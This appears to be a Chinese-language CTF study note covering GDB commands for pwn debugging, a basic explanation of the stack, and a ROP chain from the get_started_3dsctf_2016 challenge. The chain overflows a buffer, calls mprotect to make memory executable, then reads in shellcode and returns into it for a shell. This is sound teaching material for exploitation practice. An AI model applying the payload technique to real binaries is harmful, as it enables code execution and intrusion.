pwn-gdb操作

在PWN中使用GDB (GNU Debugger) 进行调试是一个常见的方法。以下是使用GDB调试二进制文件的一般步骤和一些有用的技巧:

  1. 启动GDB:

    gdb ./binary_name
  2. 设置断点:
    使用 b (或 break) 命令设置断点。例如,为主函数设置断点:

    b main
  3. 运行程序:
    使用 r (或 run) 命令:

    r [program arguments]
  4. 查看寄存器状态:
    使用 info registers 或简写 i r:

    i r
  5. 单步执行:

    • sstep: 执行一行源代码。如果该行是函数调用,则进入该函数。
    • nnext: 执行一行源代码。不会进入函数。
  6. 查看内存:

    • x 命令: 使用这个命令可以查看某个地址的内容。
      x/10x $rsp  # 查看堆栈顶部的10个十六进制值
  7. 继续执行:
    使用 c (或 continue) 命令。

  8. 退出GDB:
    使用 q (或 quit) 命令。

  9. 使用GDB插件:
    为了方便PWN调试,社区有很多有用的GDB插件,例如 pwndbg, PEDAGEF。这些插件为GDB提供了额外的功能和视觉增强,使其更容易用于漏洞分析和利用。

  10. 调试远程程序:
    如果你正在尝试利用远程服务,可以使用 gdbserver 在远程端启动程序,并从本地使用GDB连接它进行调试。

  11. 其他有用的命令:

  • info proc mappings: 显示进程的内存映射。
  • set follow-fork-mode child: 当程序进行fork时,GDB会跟踪子进程。
  • set disassembly-flavor intel: 将反汇编格式设置为Intel格式,这通常比默认的AT&T格式更易于阅读。

这只是使用GDB进行PWN调试的基础。为了成功地找到并利用漏洞,可能还需要掌握更多高级的调试和逆向技巧。

栈的小知识

栈(Stack)是啥?

栈是一种特殊的线性数据结构,它只允许在一端(称为“顶”)进行插入和删除操作。由于它的特点,我们经常用“后进先出”(LIFO)来描述它。就像一叠盘子,我们只能放在最顶端或从最顶端拿走。🍽️

但是栈在实际结构里是“倒着的”,也就是高位地址才是底部,低位地址才是顶部,值得注意。

栈的主要操作

  • 压栈(Push): 向栈中添加元素。
  • 弹栈(Pop): 从栈中取出元素。

为啥要用栈呢?🤔

  1. 函数调用:当函数A调用函数B时,函数A的状态(例如局部变量)被“压入”栈中,等待函数B完成后再继续执行。
  2. 括号匹配:你知道编程中的括号是否配对正确吗?用栈就能轻松搞定!
  3. 撤销操作:例如在文字处理软件中,撤销功能就靠栈实现。

栈的美中不足:🌹与🌪️

  • 🌹优点:结构简单,操作灵活。
  • 🌪️缺点:存储空间受限,容易造成溢出。

举个例子

有一段ROP链被发送到32位linux,它其中的内容是:

payload = cyclic(0x38)
payload += p32(mprotect_addr)
payload += p32(pop_3_ret)# mprotect有三个参数,32位栈函数传参
payload += p32(start_addr)
payload += p32(0x1000)
payload += p32(0x7) # 0x7 == 可读可写可执行
payload += p32(read_addr)
payload += p32(pop_3_ret)
payload += p32(0)
payload += p32(start_addr)
payload += p32(0x100)
payload += p32(start_addr)

则栈的结构变成:

+--------------+
| start_addr | <-- 被攻击函数返回后执行此地址
+--------------+
| 0x100 | <-- read函数的第三个参数 (size)
+--------------+
| start_addr | <-- read函数的第二个参数 (buf)
+--------------+
| 0 | <-- read函数的第一个参数 (file descriptor, 0代表stdin)
+--------------+
| pop_3_ret | <-- 用于pop三个参数到寄存器
+--------------+
| read_addr | <-- read函数地址
+--------------+
| 0x7 | <-- mprotect函数的第三个参数 (权限: 可读可写可执行)
+--------------+
| 0x1000 | <-- mprotect函数的第二个参数 (大小)
+--------------+
| start_addr | <-- mprotect函数的第一个参数 (地址)
+--------------+
| pop_3_ret | <-- 用于pop三个参数到寄存器
+--------------+
| mprotect_addr| <-- mprotect函数地址,(原来为ebp)
+--------------+
| ... | <-- 0x38个'cyclic'字符,可能用于溢出缓冲区
+--------------+


每次从最低位POP一个方块,并执行其中的要求,比如是一个函数地址read_addr的话,就要再连续POP它所要求的参数,read有三个参数,所以POP三个参数。然后read是要读取用户输入的内容的,因此还要等用户输入内容。输入完之后,函数一般都会有一个return,这里就是回到start_addr。而原题shellcode在read过程中写入了此地址,因此可直接进入shell。

原题是pwn刷题记录2中的get_started_3dsctf_2016(*)